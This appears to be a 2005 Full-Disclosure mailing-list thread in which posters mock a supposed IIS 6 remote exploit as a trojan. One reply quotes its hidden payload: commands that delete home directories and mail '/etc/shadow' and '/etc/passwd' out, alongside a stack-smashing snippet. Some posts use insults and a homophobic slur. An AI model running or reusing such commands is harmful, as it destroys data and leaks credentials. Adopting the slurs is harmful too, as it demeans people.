Kind of like your attempt to be American :)
--- Javi Polo <[EMAIL PROTECTED]> wrote:
> On Apr/20/2005, Day Jay wrote:
>
> > You are wrong again, it's "Smashing the Stick" you
> > moron. Not smashing the stack. Ask anyone here!
> > Man, you are such a newbie. Get a clue and stop
> trying
> > to sa
not as lame as you are! Take your ham and shove it!
What a faggit.
--- Ed Carp <[EMAIL PROTECTED]> wrote:
> Javi Polo wrote:
>
> > On Apr/20/2005, Day Jay wrote:
> >
> >>You are wrong again, it's "Smashing the Stick" you
> >>moron. Not smashing the stack. Ask anyone here!
> >>Man, you are such a
The ONLY posts I don't like are posts like that, complaining about the
list. Like somebody else said, the rest of this list provides great
"comic relief"!
Javi Polo wrote:
On Apr/20/2005, Day Jay wrote:
You are wrong again, it's "Smashing the Stick" you
moron. Not smashing the stack. Ask any
I actually have two other separate e-mail accounts. One for normal
mail. And one for lists. This one is reserved specifically for FD. I
don't even need mail filters, having different e-mail addresses does
it all for me.
On 4/21/05, Joachim Schipper <[EMAIL PROTECTED]> wrote:
> On Thu, Apr 21, 2005
On Thu, Apr 21, 2005 at 04:32:39AM -0500, Ed Carp wrote:
> Javi Polo wrote:
>
> >On Apr/20/2005, Day Jay wrote:
> >
> >>You are wrong again, it's "Smashing the Stick" you
> >>moron. Not smashing the stack. Ask anyone here!
> >>Man, you are such a newbie. Get a clue and stop trying
> >>to say the s
Javi Polo wrote:
On Apr/20/2005, Day Jay wrote:
You are wrong again, it's "Smashing the Stick" you
moron. Not smashing the stack. Ask anyone here!
Man, you are such a newbie. Get a clue and stop trying
to say the sweet code is a backdoor just because you
don't know how to compile software properly.
On Apr/20/2005, Day Jay wrote:
> You are wrong again, it's "Smashing the Stick" you
> moron. Not smashing the stack. Ask anyone here!
> Man, you are such a newbie. Get a clue and stop trying
> to say the sweet code is a backdoor just because you
> don't know how to compile software properly. You'r
archer
> > > Hat-Squad.com
> > >
> >
>
-----------------------------
> > > ----- Original Message -
> > > From: "Day Jay" <[EMAIL PROTECTED]>
> > > To:
> > > Sent: We
; class101
> Jr. Researcher
> Hat-Squad.com
>
-
> - Original Message -
> From: "Day Jay" <[EMAIL PROTECTED]>
> To:
> Sent: Wednesday, April 20, 2005 8:15 PM
> Subject: [Full-disclosure] FIXED CO
Dear DIk,
You are thinking local buffer overflows with your
"think: ret=(int *)&ret+2;(*ret)=(int)shellcode;"
Wow, I think I read smashing the stick for fun and
profit a long time ago, but this is a remote root
exploit, it's alittle different!!
Damn newbie! I mean, how lame are you?
--- dk <[E
8:15 PM
Subject: [Full-disclosure] FIXED CODE - IIS 6 Remote Buffer Overflow
Exploit(was broken)
> Sorry, the previous code was broken. This code should
> work...
>
> Happy Owning!! :)
>
>
> =SNIP
> /* Proof of concept code
> Please don
Cute.
shellcode = "/bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe"
launcher = "cat /etc/shadow |mail full-disclosure@lists.grok.org.uk "
netcat_shell = "cat /etc/passwd |mail full-disclosure@lists.grok.org.uk "
On Wed, 20 Apr 2005, Day Jay wrote:
> Sorry, the previous code was broken. This code sh
Day Jay wrote:
Sorry, the previous code was broken.
Definitely `borken'... I didn't even see one /etc/passwd file in here!
Less obvious calls may catch more habitual FD code runners next time
dude. [think: ret=(int *)&ret+2;(*ret)=(int)shellcode;]
;-)
--
dk
_
that has to be like the worst backdooring ever. The printf()'s are not
even there :P
On 4/20/05, Day Jay <[EMAIL PROTECTED]> wrote:
> Sorry, the previous code was broken. This code should
> work...
>
> Happy Owning!! :)
>
> =SNIP
> /* Proof of concept code
>Please don't s
Sorry, the previous code was broken. This code should
work...
Happy Owning!! :)
=SNIP
/* Proof of concept code
Please don't send us e-mails
asking us "how to hack" because
we will be forced to skullfsck you.
DISCLAIMER:
!!NOT RESPONSIBLE WITH YOUR USE OF THIS
15 matches
Mail list logo
